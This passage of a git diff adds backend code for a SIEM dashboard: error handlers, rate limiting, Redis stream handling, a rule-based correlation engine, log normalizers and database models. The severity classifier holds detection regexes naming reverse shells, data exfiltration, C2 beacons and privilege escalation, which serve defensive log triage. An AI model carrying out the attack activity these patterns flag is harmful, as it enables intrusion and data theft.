validation + """ + status_code = 422 + message = "Validation failed" + + def __init__( + self, + message: str | None = None, + errors: list[dict[str, Any]] | None = None, + ) -> None: + super().__init__(message) + self.errors = errors or [] + + +class AuthenticationError(AppError): + """ + Raised when a request lacks valid credentials + """ + status_code = 401 + message = "Authentication required" + + +class ForbiddenError(AppError): + """ + Raised when an authenticated user lacks permission + """ + status_code = 403 + message = "Insufficient permissions" + + +class ConflictError(AppError): + """ + Raised when a resource already exists or conflicts + """ + status_code = 409 + message = "Resource already exists" + + +def register_error_handlers(app: Flask) -> None: + """ + Attach JSON error handlers to the Flask app + """ + @app.errorhandler(AppError) + def handle_app_error(error: AppError): # type: ignore[no-untyped-def] + payload: dict[str, Any] = { + "error": type(error).__name__, + "message": error.message, + } + if isinstance(error, ValidationError) and error.errors: + payload["details"] = error.errors + return jsonify(payload), error.status_code + + @app.errorhandler(404) + def handle_404(error): # type: ignore[no-untyped-def] + return jsonify({ + "error": "NotFound", + "message": "Endpoint not found", + }), 404 + + @app.errorhandler(405) + def handle_405(error): # type: ignore[no-untyped-def] + return jsonify({ + "error": "MethodNotAllowed", + "message": "Method not allowed", + }), 405 + + @app.errorhandler(500) + def handle_500(error): # type: ignore[no-untyped-def] + return jsonify({ + "error": "InternalServerError", + "message": "Internal server error", + }), 500 diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/rate_limiting.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/rate_limiting.py new file mode 100644 index 00000000..5f039c73 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/rate_limiting.py @@ -0,0 +1,41 @@ +""" +©AngelaMos | 2026 +rate_limiting.py +""" + +from typing import Any + +import structlog +from flask import Flask, jsonify +from flask_limiter import Limiter +from flask_limiter.util import get_remote_address + +from app.config import settings + + +logger = structlog.get_logger() + +limiter = Limiter( + key_func=get_remote_address, + storage_uri=settings.REDIS_URL, + strategy=settings.RATELIMIT_STRATEGY, + default_limits=[settings.RATELIMIT_DEFAULT], + headers_enabled=settings.RATELIMIT_HEADERS_ENABLED, + swallow_errors=settings.RATELIMIT_SWALLOW_ERRORS, +) + + +def init_limiter(app: Flask) -> None: + limiter.init_app(app) + + @app.errorhandler(429) + def handle_rate_limit(e: Any) -> tuple[Any, int]: + logger.warning("rate_limit_exceeded", description=str(e.description)) + response = jsonify({ + "error": "RateLimitExceeded", + "message": "Too many requests", + "retry_after": getattr(e, "retry_after", None), + }) + if hasattr(e, "retry_after") and e.retry_after: + response.headers["Retry-After"] = str(e.retry_after) + return response, 429 diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/serialization.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/serialization.py new file mode 100644 index 00000000..9d280265 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/serialization.py @@ -0,0 +1,70 @@ +""" +©AngelaMos | 2026 +serialization.py +""" + +from typing import Any +from datetime import datetime + +from bson import ObjectId +from mongoengine import ( + Document, + EmbeddedDocument, + QuerySet, +) +from pydantic import BaseModel + + +def serialize_value(value: Any) -> Any: + """ + Convert a single value to a JSON safe representation + """ + if value is None: + return None + if isinstance(value, ObjectId): + return str(value) + if isinstance(value, datetime): + return value.isoformat() + if isinstance(value, EmbeddedDocument): + return serialize_document(value) + if isinstance(value, list): + return [serialize_value(v) for v in value] + if isinstance(value, dict): + return {k: serialize_value(v) for k, v in value.items()} + return value + + +def serialize_document( + doc: Document | EmbeddedDocument, +) -> dict[str, + Any]: + """ + Recursively convert a MongoEngine document to a JSON safe dict + """ + result: dict[str, Any] = {} + for field_name in doc._fields: + value = getattr(doc, field_name, None) + if field_name == "id" and isinstance(value, ObjectId): + result["id"] = str(value) + continue + result[field_name] = serialize_value(value) + return result + + +def auto_serialize(obj: Any) -> Any: + """ + Dispatch serialization based on the object type + """ + if obj is None: + return None + if isinstance(obj, Document): + return serialize_document(obj) + if isinstance(obj, QuerySet): + return [serialize_document(doc) for doc in obj] + if isinstance(obj, list): + return [auto_serialize(item) for item in obj] + if isinstance(obj, BaseModel): + return obj.model_dump(mode = "json") + if isinstance(obj, dict): + return {k: auto_serialize(v) for k, v in obj.items()} + return obj diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/streaming.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/streaming.py new file mode 100644 index 00000000..97693909 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/streaming.py @@ -0,0 +1,126 @@ +""" +©AngelaMos | 2026 +streaming.py +""" + +import contextlib +import json +import time +from collections.abc import Generator +from typing import Any + +from app.config import settings +from app.extensions import get_redis + + +def publish_event( + stream_key: str, + data: dict[str, + Any], + maxlen: int | None = None, +) -> str: + """ + Publish a JSON event to a Redis Stream via XADD + """ + r = get_redis() + return r.xadd( # type: ignore[no-any-return] + stream_key, + {"payload": json.dumps(data, + default = str)}, + maxlen = maxlen or settings.STREAM_MAXLEN, + approximate = True, + ) + + +def ensure_consumer_group( + stream_key: str, + group_name: str | None = None, +) -> None: + """ + Create a consumer group on a stream if it does not already exist + """ + r = get_redis() + group = group_name or settings.CONSUMER_GROUP + with contextlib.suppress(Exception): + r.xgroup_create( + stream_key, + group, + id = "0", + mkstream = True, + ) + + +def read_stream( + stream_key: str, + group_name: str | None = None, + consumer_name: str | None = None, + count: int | None = None, + block: int | None = None, +) -> list[tuple[str, + dict[str, + Any]]]: + """ + Read pending messages from a consumer group via XREADGROUP + """ + r = get_redis() + group = group_name or settings.CONSUMER_GROUP + consumer = consumer_name or settings.CONSUMER_NAME + results = r.xreadgroup( + group, + consumer, + {stream_key: ">"}, + count = count or settings.STREAM_READ_COUNT, + block = block or settings.STREAM_BLOCK_MS, + ) + messages: list[tuple[str, dict[str, Any]]] = [] + if results: + for _stream, entries in results: + for msg_id, fields in entries: + payload = json.loads(fields.get("payload", "{}")) + messages.append((msg_id, payload)) + return messages + + +def ack_message( + stream_key: str, + message_id: str, + group_name: str | None = None, +) -> None: + """ + Acknowledge a processed message in the consumer group + """ + r = get_redis() + group = group_name or settings.CONSUMER_GROUP + r.xack(stream_key, group, message_id) # type: ignore[no-untyped-call] + + +def sse_generator( + stream_key: str, + event_type: str = "message", +) -> Generator[str]: + """ + Yield SSE-formatted events by tailing a Redis Stream with XREAD + """ + r = get_redis() + last_id = "$" + while True: + try: + results = r.xread( + {stream_key: last_id}, + count = settings.SSE_READ_COUNT, + block = settings.SSE_BLOCK_MS, + ) + if results: + for _stream, entries in results: + for msg_id, fields in entries: + last_id = msg_id + payload = fields.get("payload", "{}") + yield (f"event: {event_type}\n" + f"data: {payload}\n\n") + else: + yield ": keepalive\n\n" + except GeneratorExit: + return + except Exception: + time.sleep(1) + yield ": reconnecting\n\n" diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/engine/__init__.py b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/__init__.py new file mode 100644 index 00000000..e1add2a9 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/__init__.py @@ -0,0 +1,4 @@ +""" +©AngelaMos | 2026 +__init__.py +""" diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/engine/correlation.py b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/correlation.py new file mode 100644 index 00000000..d03431db --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/correlation.py @@ -0,0 +1,377 @@ +""" +©AngelaMos | 2026 +correlation.py +""" + +import time +import threading +from dataclasses import dataclass +from typing import Any + +import structlog + +from app.config import settings +from app.core.streaming import ( + read_stream, + ensure_consumer_group, + ack_message, +) +from app.models.Alert import Alert +from app.models.CorrelationRule import CorrelationRule, RuleType + +logger = structlog.get_logger() + + +@dataclass +class WindowEntry: + """ + A single event recorded in a correlation sliding window + """ + timestamp: float + event_id: str + event_data: dict[str, Any] + step_index: int | None = None + + +@dataclass +class EvaluationResult: + """ + Outcome of a rule that fired with matched event references + """ + matched_event_ids: list[str] + group_value: str + + +class CorrelationState: + """ + Thread-safe in-memory sliding window state for correlation tracking + """ + def __init__(self) -> None: + self._windows: dict[str, dict[str, list[WindowEntry]]] = {} + self._cooldowns: dict[str, dict[str, float]] = {} + self._lock = threading.Lock() + + def record_event( + self, + rule_id: str, + group_key: str, + event_id: str, + event_data: dict[str, Any], + step_index: int | None = None, + ) -> None: + """ + Add an event to the sliding window for a rule and group key + """ + with self._lock: + windows = self._windows.setdefault(rule_id, {}) + entries = windows.setdefault(group_key, []) + entries.append(WindowEntry( + timestamp=time.time(), + event_id=event_id, + event_data=event_data, + step_index=step_index, + )) + + def get_window( + self, + rule_id: str, + group_key: str, + window_seconds: int, + ) -> list[WindowEntry]: + """ + Return non-expired entries for a rule and group key + """ + cutoff = time.time() - window_seconds + with self._lock: + entries = self._windows.get(rule_id, {}).get(group_key, []) + valid = [e for e in entries if e.timestamp >= cutoff] + if rule_id in self._windows and group_key in self._windows[rule_id]: + self._windows[rule_id][group_key] = valid + return valid + + def is_cooling_down(self, rule_id: str, group_key: str) -> bool: + """ + Check if a rule recently fired for this group key + """ + with self._lock: + last_fired = self._cooldowns.get(rule_id, {}).get(group_key, 0.0) + return (time.time() - last_fired) < settings.CORRELATION_COOLDOWN_SECONDS + + def mark_fired(self, rule_id: str, group_key: str) -> None: + """ + Record the fire time for cooldown tracking + """ + with self._lock: + cooldowns = self._cooldowns.setdefault(rule_id, {}) + cooldowns[group_key] = time.time() + + def clear(self) -> None: + """ + Reset all state for testing or shutdown + """ + with self._lock: + self._windows.clear() + self._cooldowns.clear() + + +def _matches_filter(event_data: dict[str, Any], event_filter: dict[str, Any]) -> bool: + """ + Check if an event satisfies all key-value pairs in the filter + """ + return all( + event_data.get(k) == v + for k, v in event_filter.items() + ) + + +def evaluate_rule( + rule: CorrelationRule, + event_data: dict[str, Any], + state: CorrelationState, +) -> EvaluationResult | None: + """ + Evaluate a single rule against an event and return a result if fired + """ + rule_id = str(rule.id) + conditions = rule.conditions + group_by = conditions.get("group_by", "") + group_key = event_data.get(group_by, "") + + if not group_key: + return None + + if state.is_cooling_down(rule_id, group_key): + return None + + evaluators = { + RuleType.THRESHOLD: _evaluate_threshold, + RuleType.SEQUENCE: _evaluate_sequence, + RuleType.AGGREGATION: _evaluate_aggregation, + } + evaluator = evaluators.get(rule.rule_type) + if evaluator is None: + return None + + return evaluator(rule, event_data, state, rule_id, group_key) + + +def _evaluate_threshold( + rule: CorrelationRule, + event_data: dict[str, Any], + state: CorrelationState, + rule_id: str, + group_key: str, +) -> EvaluationResult | None: + """ + Fire when event count exceeds threshold within window for a group + """ + conditions = rule.conditions + event_filter = conditions.get("event_filter", {}) + + if not _matches_filter(event_data, event_filter): + return None + + event_id = event_data.get("id", "") + state.record_event(rule_id, group_key, event_id, event_data) + + window_seconds = conditions.get("window_seconds", 0) + threshold = conditions.get("threshold", 0) + entries = state.get_window(rule_id, group_key, window_seconds) + + if len(entries) >= threshold: + state.mark_fired(rule_id, group_key) + return EvaluationResult( + matched_event_ids=[e.event_id for e in entries], + group_value=group_key, + ) + return None + + +def _evaluate_sequence( + rule: CorrelationRule, + event_data: dict[str, Any], + state: CorrelationState, + rule_id: str, + group_key: str, +) -> EvaluationResult | None: + """ + Fire when all steps of a sequence are observed within window for a group + """ + conditions = rule.conditions + steps = conditions.get("steps", []) + + matched_step = None + for idx, step in enumerate(steps): + step_filter = step.get("event_filter", {}) + if _matches_filter(event_data, step_filter): + matched_step = idx + break + + if matched_step is None: + return None + + event_id = event_data.get("id", "") + state.record_event( + rule_id, group_key, event_id, event_data, + step_index=matched_step, + ) + + window_seconds = conditions.get("window_seconds", 0) + entries = state.get_window(rule_id, group_key, window_seconds) + + for idx, step in enumerate(steps): + required_count = step.get("count", 1) + step_entries = [e for e in entries if e.step_index == idx] + if len(step_entries) < required_count: + return None + + state.mark_fired(rule_id, group_key) + return EvaluationResult( + matched_event_ids=[e.event_id for e in entries], + group_value=group_key, + ) + + +def _evaluate_aggregation( + rule: CorrelationRule, + event_data: dict[str, Any], + state: CorrelationState, + rule_id: str, + group_key: str, +) -> EvaluationResult | None: + """ + Fire when distinct values of a field exceed threshold for a group + """ + conditions = rule.conditions + event_filter = conditions.get("event_filter", {}) + + if not _matches_filter(event_data, event_filter): + return None + + event_id = event_data.get("id", "") + state.record_event(rule_id, group_key, event_id, event_data) + + window_seconds = conditions.get("window_seconds", 0) + threshold = conditions.get("threshold", 0) + aggregation_field = conditions.get("aggregation_field", "") + entries = state.get_window(rule_id, group_key, window_seconds) + + distinct_values = { + e.event_data.get(aggregation_field) + for e in entries + if e.event_data.get(aggregation_field) + } + + if len(distinct_values) >= threshold: + state.mark_fired(rule_id, group_key) + return EvaluationResult( + matched_event_ids=[e.event_id for e in entries], + group_value=group_key, + ) + return None + + +class CorrelationEngine: + """ + Daemon thread that consumes log events and evaluates correlation rules + """ + + def __init__(self) -> None: + self._state = CorrelationState() + self._stop_event = threading.Event() + self._rules_cache: list[CorrelationRule] = [] + self._rules_cache_time: float = 0.0 + self._thread = threading.Thread( + target=self._run, + daemon=True, + name="correlation-engine", + ) + + def start(self) -> None: + """ + Initialize consumer group and start the engine thread + """ + ensure_consumer_group(settings.LOG_STREAM_KEY) + self._thread.start() + logger.info("correlation_engine_started") + + def stop(self) -> None: + """ + Signal the engine thread to stop + """ + self._stop_event.set() + logger.info("correlation_engine_stopped") + + def _get_rules(self) -> list[CorrelationRule]: + """ + Return cached rules, refreshing if the cache TTL has expired + """ + now = time.time() + elapsed = now - self._rules_cache_time + if elapsed > settings.CORRELATION_RULE_CACHE_SECONDS: + self._rules_cache = CorrelationRule.get_enabled_rules() + self._rules_cache_time = now + return self._rules_cache + + def _run(self) -> None: + """ + Main loop that reads events and evaluates rules + """ + while not self._stop_event.is_set(): + try: + messages = read_stream(settings.LOG_STREAM_KEY) + for msg_id, event_data in messages: + if self._stop_event.is_set(): + break + self._process_event(event_data) + ack_message(settings.LOG_STREAM_KEY, msg_id) + except Exception: + logger.exception("correlation_engine_error") + self._stop_event.wait( + settings.CORRELATION_ERROR_BACKOFF_SECONDS + ) + + def _process_event(self, event_data: dict[str, Any]) -> None: + """ + Evaluate all enabled rules against a single event + """ + rules = self._get_rules() + for rule in rules: + result = evaluate_rule(rule, event_data, self._state) + if result is None: + continue + Alert.create_from_rule( + rule=rule, + matched_event_ids=result.matched_event_ids, + group_value=result.group_value, + ) + logger.info( + "alert_generated", + rule_name=rule.name, + group_value=result.group_value, + matched_count=len(result.matched_event_ids), + ) + + +_engine: CorrelationEngine | None = None + + +def start_engine() -> None: + """ + Create and start the singleton correlation engine + """ + global _engine + if _engine is not None: + return + _engine = CorrelationEngine() + _engine.start() + + +def stop_engine() -> None: + """ + Stop the singleton correlation engine + """ + global _engine + if _engine: + _engine.stop() + _engine = None diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/engine/normalizer.py b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/normalizer.py new file mode 100644 index 00000000..968db07c --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/normalizer.py @@ -0,0 +1,149 @@ +""" +©AngelaMos | 2026 +normalizer.py +""" + +from datetime import datetime, UTC +from typing import Any, Callable + +from app.models.LogEvent import SourceType + +NormalizerFn = Callable[[dict[str, Any]], dict[str, Any]] + +NORMALIZERS: dict[str, NormalizerFn] = {} + + +def _register(source_type: SourceType) -> Callable[[NormalizerFn], NormalizerFn]: + """ + Register a normalizer function for a source type + """ + def decorator(fn: NormalizerFn) -> NormalizerFn: + NORMALIZERS[source_type.value] = fn + return fn + + return decorator + + +def normalize(raw: dict[str, Any]) -> dict[str, Any]: + """ + Dispatch to the appropriate format normalizer and return enriched data + """ + source_type = raw.get("source_type", SourceType.GENERIC) + normalizer_fn = NORMALIZERS.get(source_type, _normalize_generic) + base = _extract_common(raw) + specific = normalizer_fn(raw) + base["normalized"] = {**base.get("normalized", {}), **specific} + return base + + +def _extract_common(raw: dict[str, Any]) -> dict[str, Any]: + """ + Pull fields shared across all log formats into a base dict + """ + return { + "timestamp": raw.get("timestamp", + datetime.now(UTC)), + "source_type": raw.get("source_type", + SourceType.GENERIC), + "source_ip": raw.get("source_ip"), + "dest_ip": raw.get("dest_ip"), + "source_port": raw.get("source_port"), + "dest_port": raw.get("dest_port"), + "event_type": raw.get("event_type"), + "hostname": raw.get("hostname"), + "username": raw.get("username"), + "raw": raw, + "normalized": {}, + } + + +@_register(SourceType.FIREWALL) +def _normalize_firewall(raw: dict[str, Any]) -> dict[str, Any]: + """ + Extract firewall-specific fields like action and protocol + """ + return { + "action": raw.get("action"), + "protocol": raw.get("protocol"), + "bytes_sent": raw.get("bytes_sent"), + "bytes_received": raw.get("bytes_received"), + "rule_name": raw.get("rule_name"), + } + + +@_register(SourceType.IDS) +def _normalize_ids(raw: dict[str, Any]) -> dict[str, Any]: + """ + Extract IDS-specific fields like signature and severity + """ + return { + "signature_id": raw.get("signature_id"), + "signature_name": raw.get("signature_name"), + "classification": raw.get("classification"), + "priority": raw.get("priority"), + } + + +@_register(SourceType.AUTH) +def _normalize_auth(raw: dict[str, Any]) -> dict[str, Any]: + """ + Extract authentication-specific fields like method and result + """ + return { + "auth_method": raw.get("auth_method"), + "result": raw.get("result"), + "failure_reason": raw.get("failure_reason"), + "service": raw.get("service"), + } + + +@_register(SourceType.ENDPOINT) +def _normalize_endpoint(raw: dict[str, Any]) -> dict[str, Any]: + """ + Extract endpoint-specific fields like process and command line + """ + return { + "process_name": raw.get("process_name"), + "process_id": raw.get("process_id"), + "parent_process": raw.get("parent_process"), + "command_line": raw.get("command_line"), + "file_path": raw.get("file_path"), + } + + +@_register(SourceType.DNS) +def _normalize_dns(raw: dict[str, Any]) -> dict[str, Any]: + """ + Extract DNS-specific fields like query and record type + """ + return { + "query": raw.get("query"), + "query_type": raw.get("query_type"), + "response": raw.get("response"), + "response_code": raw.get("response_code"), + } + + +@_register(SourceType.PROXY) +def _normalize_proxy(raw: dict[str, Any]) -> dict[str, Any]: + """ + Extract proxy-specific fields like URL and user agent + """ + return { + "url": raw.get("url"), + "method": raw.get("method"), + "status_code": raw.get("status_code"), + "user_agent": raw.get("user_agent"), + "content_type": raw.get("content_type"), + "bytes_transferred": raw.get("bytes_transferred"), + } + + +@_register(SourceType.GENERIC) +def _normalize_generic(raw: dict[str, Any]) -> dict[str, Any]: + """ + Fallback normalizer for unrecognized source types + """ + return { + "message": raw.get("message"), + } diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/engine/severity.py b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/severity.py new file mode 100644 index 00000000..28013108 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/severity.py @@ -0,0 +1,139 @@ +""" +©AngelaMos | 2026 +severity.py +""" + +import re +from typing import Any + +from app.models.LogEvent import Severity + + +CRITICAL_PATTERNS = [ + re.compile(r"privilege.?escalat", + re.IGNORECASE), + re.compile(r"root.?compromise", + re.IGNORECASE), + re.compile(r"data.?exfiltrat", + re.IGNORECASE), + re.compile(r"ransomware", + re.IGNORECASE), + re.compile(r"command.?and.?control", + re.IGNORECASE), + re.compile(r"c2.?beacon", + re.IGNORECASE), +] + +HIGH_PATTERNS = [ + re.compile(r"brute.?force", + re.IGNORECASE), + re.compile(r"lateral.?movement", + re.IGNORECASE), + re.compile(r"reverse.?shell", + re.IGNORECASE), + re.compile(r"malware", + re.IGNORECASE), + re.compile(r"exploit", + re.IGNORECASE), + re.compile(r"unauthorized.?access", + re.IGNORECASE), +] + +MEDIUM_PATTERNS = [ + re.compile(r"login.?fail", + re.IGNORECASE), + re.compile(r"authentication.?fail", + re.IGNORECASE), + re.compile(r"suspicious", + re.IGNORECASE), + re.compile(r"port.?scan", + re.IGNORECASE), + re.compile(r"denied", + re.IGNORECASE), + re.compile(r"blocked", + re.IGNORECASE), +] + +LOW_PATTERNS = [ + re.compile(r"warning", + re.IGNORECASE), + re.compile(r"policy.?violation", + re.IGNORECASE), + re.compile(r"anomal", + re.IGNORECASE), +] + +SEVERITY_TIERS = [ + (Severity.CRITICAL, + CRITICAL_PATTERNS), + (Severity.HIGH, + HIGH_PATTERNS), + (Severity.MEDIUM, + MEDIUM_PATTERNS), + (Severity.LOW, + LOW_PATTERNS), +] + +HIGH_SEVERITY_EVENT_TYPES = frozenset( + { + "privilege_escalation", + "data_exfiltration", + "c2_communication", + "reverse_shell", + } +) + +MEDIUM_SEVERITY_EVENT_TYPES = frozenset( + { + "login_failure", + "port_scan", + "firewall_deny", + "ids_alert", + } +) + + +def classify(normalized: dict[str, Any]) -> str: + """ + Determine severity from event type and content pattern matching + """ + event_type = normalized.get("event_type", "") + + if event_type in HIGH_SEVERITY_EVENT_TYPES: + return Severity.HIGH + if event_type in MEDIUM_SEVERITY_EVENT_TYPES: + return Severity.MEDIUM + + searchable = _build_searchable_text(normalized) + + for severity, patterns in SEVERITY_TIERS: + for pattern in patterns: + if pattern.search(searchable): + return severity + + return Severity.INFO + + +def _build_searchable_text(normalized: dict[str, Any]) -> str: + """ + Concatenate relevant fields into a single string for pattern matching + """ + parts = [ + str(normalized.get("event_type", + "")), + str(normalized.get("message", + "")), + str(normalized.get("normalized", + {}).get("message", + "")), + str(normalized.get("normalized", + {}).get("signature_name", + "")), + str(normalized.get("normalized", + {}).get("classification", + "")), + str(normalized.get("normalized", + {}).get("command_line", + "")), + ] + return " ".join(parts) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/extensions.py b/PROJECTS/intermediate/siem-dashboard/backend/app/extensions.py new file mode 100644 index 00000000..752d89e8 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/extensions.py @@ -0,0 +1,54 @@ +""" +©AngelaMos | 2026 +extensions.py +""" + +from typing import TYPE_CHECKING + +import redis +from flask import Flask +from mongoengine import connect, disconnect + +if TYPE_CHECKING: + from redis import Redis + + +_redis_client: Redis[str] | None = None + + +def init_mongo(app: Flask) -> None: + """ + Connect MongoEngine to the configured MongoDB instance + """ + connect( + db = app.config["MONGO_DB"], + host = app.config["MONGO_URI"], + alias = "default", + ) + + +def close_mongo() -> None: + """ + Disconnect MongoEngine from MongoDB + """ + disconnect(alias = "default") + + +def init_redis(app: Flask) -> None: + """ + Initialize the module level Redis client from app config + """ + global _redis_client + _redis_client = redis.from_url( + app.config["REDIS_URL"], + decode_responses = True, + ) + + +def get_redis() -> Redis[str]: + """ + Return the initialized Redis client or raise if not ready + """ + if _redis_client is None: + raise RuntimeError("Redis not initialized") + return _redis_client diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/Alert.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/Alert.py new file mode 100644 index 00000000..8cd35dd2 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/Alert.py @@ -0,0 +1,137 @@ +""" +©AngelaMos | 2026 +Alert.py +""" + +from typing import Any +from datetime import datetime, UTC +from enum import StrEnum + +from mongoengine import ( + StringField, + DateTimeField, + IntField, + ListField, + ObjectIdField, +) + +from app.config import settings +from app.core.streaming import publish_event +from app.models.Base import BaseDocument +from app.models.LogEvent import LogEvent, Severity + + +class AlertStatus(StrEnum): + """ + Alert lifecycle states + """ + NEW = "new" + ACKNOWLEDGED = "acknowledged" + INVESTIGATING = "investigating" + RESOLVED = "resolved" + FALSE_POSITIVE = "false_positive" + + +class Alert(BaseDocument): + """ + Alert generated by a correlation rule match + """ + meta: dict[str, Any] = { # noqa: RUF012 + "collection": "alerts", + "ordering": ["-created_at"], + "indexes": ["status", "severity", "rule_id"], + } + + rule_id = ObjectIdField(required=True) + rule_name = StringField(required=True) + severity = StringField( + required=True, + choices=[s.value for s in Severity], + ) + title = StringField(required=True) + matched_event_ids = ListField(ObjectIdField()) + matched_event_count = IntField(default=0) + group_value = StringField() + status = StringField( + required=True, + default=AlertStatus.NEW, + choices=[s.value for s in AlertStatus], + ) + mitre_tactic = StringField() + mitre_technique = StringField() + acknowledged_by = StringField() + acknowledged_at = DateTimeField() + resolved_at = DateTimeField() + notes = StringField() + + @classmethod + def create_from_rule( + cls, + rule: Any, + matched_event_ids: list[str], + group_value: str, + ) -> Alert: + """ + Create an alert from a fired rule and publish to the alert stream + """ + alert = cls( + rule_id=rule.id, + rule_name=rule.name, + severity=rule.severity, + title=f"{rule.name} [{group_value}]", + matched_event_ids=matched_event_ids, + matched_event_count=len(matched_event_ids), + group_value=group_value, + mitre_tactic=rule.mitre_tactic, + mitre_technique=rule.mitre_technique, + ) + alert.save() # type: ignore[no-untyped-call] + + publish_event( + settings.ALERT_STREAM_KEY, + { + "id": str(alert.id), + "rule_name": alert.rule_name, + "severity": alert.severity, + "title": alert.title, + "group_value": alert.group_value, + "matched_event_count": alert.matched_event_count, + "status": alert.status, + }, + ) + + return alert + + def update_status( + self, + status: str, + username: str | None = None, + notes: str | None = None, + ) -> None: + """ + Transition the alert to a new status with optional metadata + """ + self.status = status + if notes is not None: + self.notes = notes + + now = datetime.now(UTC) + if status == AlertStatus.ACKNOWLEDGED and username: + self.acknowledged_by = username + self.acknowledged_at = now + elif status in (AlertStatus.RESOLVED, AlertStatus.FALSE_POSITIVE): + self.resolved_at = now + + self.save() # type: ignore[no-untyped-call] + + def get_with_events(self) -> dict[str, Any]: + """ + Return the alert with its matched log events loaded + """ + events = list( + LogEvent.objects(id__in=self.matched_event_ids) # type: ignore[no-untyped-call] + ) + return { + "alert": self, + "matched_events": events, + } diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/Base.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/Base.py new file mode 100644 index 00000000..e4489ebe --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/Base.py @@ -0,0 +1,72 @@ +""" +©AngelaMos | 2026 +Base.py +""" + +from typing import Any, Self +from datetime import datetime, UTC + +from mongoengine import ( + Document, + DateTimeField, + QuerySet, +) + +from app.config import settings +from app.core.errors import NotFoundError + + +class BaseDocument(Document): # type: ignore[misc] + """ + Abstract base with timestamps and common query helpers + """ + meta = {"abstract": True} # noqa: RUF012 + + created_at = DateTimeField(default = lambda: datetime.now(UTC)) + updated_at = DateTimeField(default = lambda: datetime.now(UTC)) + + def save(self, *args: Any, **kwargs: Any) -> Any: + """ + Auto-update the updated_at timestamp on every save + """ + self.updated_at = datetime.now(UTC) + return super().save(*args, **kwargs) + + @classmethod + def get_by_id(cls, doc_id: str) -> Self: + """ + Fetch by ID or raise NotFoundError + """ + doc = cls.objects(id = doc_id).first() + if doc is None: + raise NotFoundError(f"{cls.__name__} not found") + return doc # type: ignore[no-any-return] + + @classmethod + def get_or_none(cls, doc_id: str) -> Self | None: + """ + Fetch by ID or return None + """ + return cls.objects(id = doc_id).first() # type: ignore[no-any-return] + + @classmethod + def paginate( + cls, + queryset: QuerySet | None = None, + page: int = 1, + per_page: int = settings.DEFAULT_PAGE_SIZE, + ) -> dict[str, Any]: + """ + Return a paginated result dict from any queryset + """ + qs = queryset if queryset is not None else cls.objects + total = qs.count() + offset = (page - 1) * per_page + items = list(qs.skip(offset).limit(per_page)) + return { + "items": items, + "total": total, + "page": page, + "per_page": per_page, + "pages": (total + per_page - 1) // per_page, + } diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/CorrelationRule.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/CorrelationRule.py new file mode 100644 index 00000000..ce23b458 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/CorrelationRule.py @@ -0,0 +1,58 @@ +""" +©AngelaMos | 2026 +CorrelationRule.py +""" + +from typing import Any +from enum import StrEnum + +from mongoengine import ( + StringField, + DictField, + BooleanField, +) + +from app.models.Base import BaseDocument +from app.models.LogEvent import Severity + + +class RuleType(StrEnum): + """ + Supported correlation rule evaluation strategies + """ + THRESHOLD = "threshold" + SEQUENCE = "sequence" + AGGREGATION = "aggregation" + + +class CorrelationRule(BaseDocument): + """ + Correlation rule with conditions and evaluation metadata + """ + meta: dict[str, Any] = { # noqa: RUF012 + "collection": "correlation_rules", + "ordering": ["-created_at"], + "indexes": ["enabled", "rule_type"], + } + + name = StringField(required=True, unique=True) + description = StringField(default="") + rule_type = StringField( + required=True, + choices=[t.value for t in RuleType], + ) + conditions = DictField(required=True) + severity = StringField( + required=True, + choices=[s.value for s in Severity], + ) + enabled = BooleanField(default=True) + mitre_tactic = StringField() + mitre_technique = StringField() + + @classmethod + def get_enabled_rules(cls) -> list[Any]: + """ + Return all rules that are currently enabled + """ + return list(cls.objects(enabled=True)) # type: ignore[no-untyped-call] diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/LogEvent.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/LogEvent.py new file mode 100644 index 00000000..0907426c --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/LogEvent.py @@ -0,0 +1,280 @@ +""" +©AngelaMos | 2026 +LogEvent.py +""" + +from typing import Any +from datetime import datetime, timedelta, UTC +from enum import StrEnum + +from mongoengine import ( + StringField, + DateTimeField, + IntField, + DictField, + ListField, + ObjectIdField, +) + +from app.config import settings +from app.models.Base import BaseDocument + + +class SourceType(StrEnum): + """ + Supported log source categories + """ + FIREWALL = "firewall" + IDS = "ids" + AUTH = "auth" + ENDPOINT = "endpoint" + DNS = "dns" + PROXY = "proxy" + GENERIC = "generic" + + +class Severity(StrEnum): + """ + Event severity levels from critical to informational + """ + CRITICAL = "critical" + HIGH = "high" + MEDIUM = "medium" + LOW = "low" + INFO = "info" + + +class LogEvent(BaseDocument): + """ + Log event document with query and aggregation methods + """ + meta: dict[str, Any] = { # noqa: RUF012 + "collection": + "log_events", + 